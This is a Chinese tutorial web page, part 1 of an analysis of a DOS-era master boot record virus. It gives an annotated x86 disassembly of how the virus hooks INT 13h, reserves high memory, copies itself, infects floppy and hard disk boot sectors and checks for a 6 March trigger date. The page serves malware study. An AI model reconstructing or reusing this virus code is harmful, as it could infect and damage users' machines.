硬盘主引导区病毒,一个主引导区病毒的分析(1)

一个主引导区病毒的分析(1) - 电脑安全 - 电脑教程网

一个主引导区病毒的分析(1)

日期:2007-02-04   荐:
  一个主引导区病毒的分析 病毒体: JMP 01AF ;JMP到01AF DB 00 ;病毒标计 DW 00F5 ;此为搬到高位址后,远程跳转指令 DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX DB 02 DW 0003 ;此为软盘识别标记,硬盘为0007 DW EC59 ; DW F000 ;INT 13H的原入口 . . . . . XOR AX,AX ;清除AX MOV DS,AX; ;让DS=0000 CLI ;清I标志积存器 MOV SS,AX ;把堆栈设为0000:7C00也就是开机 MOV AX,7C00 ;后载入引导分区表的地址,目前地址 MOV SP,AX ;开机时为0000:7CB6 STI ;设I标志积存器 PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A PUSH AX ;用RETF,把程序转到引导或分区表位置 MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 MOV AX,[004E] ;取INT 13H的段地址 MOV [7C0C],AX ;存到010C

;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 ;读写以便传播发作

MOV AX,[0413] ;取得内存K数,放在AX DEC AX ; DEC AX ;减2k内存 MOV [0413],AX ;存回,通常是638K MOV CL,06 ; SHL AX,CL ; MOV ES,AX ;算出减2K后病毒本体的位址 MOV [7C05],AX ;AX存入0105

;病毒常用手法将系统高段内存减少以便驻留 ;这样可以免于被其他程序覆盖 MOV AX,000E ;病毒拦INT 13H ;ISR起始的偏移量 MOV [004C],AX ; MOV [004E],ES ;设原为病毒的INT 13H MOV CX,01BE ;病毒长度为1BE MOV SI,7C00 ;从JMP 01AF开始 XOR DI,DI ;DI=0 CLD ;清方向标志 REPZ; MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 CS: ;分区表能载入0000:7C00正常运作 JMP FAR [7C03] ;跳到为搬过后的位址 XOR AX,AX ;清AX MOV ES,AX ;ES=0000 INT 13 ;复位磁盘 PUSH CS ; POP DS ;让DS=CS MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则

MOV BX,7C00 ;读到0000:7C00 MOV CX,[0008] ;硬盘第0道,第7扇区 CMP CX, 07 ;比较是否从硬盘启动 JNZ 0213 ;不是跳0213 MOV DX,0080 ;第一硬盘C:第零面 INT 13 ;用INT 13号中断,读 JMP 023E ;跳023E比较日期,发作或正常开机 MOV CX,[0008] ;软盘0道,第3扇区 MOV DX,0100 ;A:的第0面 INT 13 ;INT 13读盘 JB 023E ;失败跳023E PUSH CS POPES ;让ES=CS MOV AX,0201 ; MOV BX,0200 ; MOV CX,0001 ; MOV DX,0080 ; INT 13 ;读入C:的分区表到0200,以便下面比较 JB 023E ;失败跳023E XOR SI,SI ;清SI CLD ;清方向标志以便比较 LODSW ;载入一个WORD到AX CMP AX,[BX] ;比较有无病毒存在..E9AC JNZ 0287 ;没有则跳0287传染 LODSW ;载入一个WORD到AX CMP AX,[BX 02] ;再次确认..0000 JNZ 0287 ;没有跳0287 XOR CX,CX ;清CX MOV AH,04 ; INT 1A ;取得日期 CMP DX,0306 ;是否为三月六日 JZ 024B ;是跳024B传染 RETF ;把程序交还给引导启动完成

步骤4:病毒INT 13代码分析 方法:U

PUSH DS ;首先把要用到积存器 PUSH AX ;入栈保存 OR DL,DL ;比较是否为软盘 JNZ 002F ;如不是则退出传染 XOR AX,AX ;AX=0 MOV DS,AX ;数据代段=0 TEST BYTE PTR [043F],01 ;比较是否为A盘 JNZ 002F ;不是则退出 POP AX ;将以上保存积存器 POP DS ;弹栈恢复 PUSHF ;压栈标志积存器 CS: ;以便执行原INT 13 CALL FAR [000A] ;执行原INT 13 PUSHF ;再次压栈 CALL 0036 ;以便跳转到传染程序 POPF ;跳转到执行传染 RETF 0002 ;结束中断调用返回 POP AX ;恢复 POP DS ;堆栈 CS: ;跳转到原正常INT 13 JMP FAR [000A] ;地址执行 ;此段代码中展现了病毒常用手法,利用标志积存器做跳转

标签: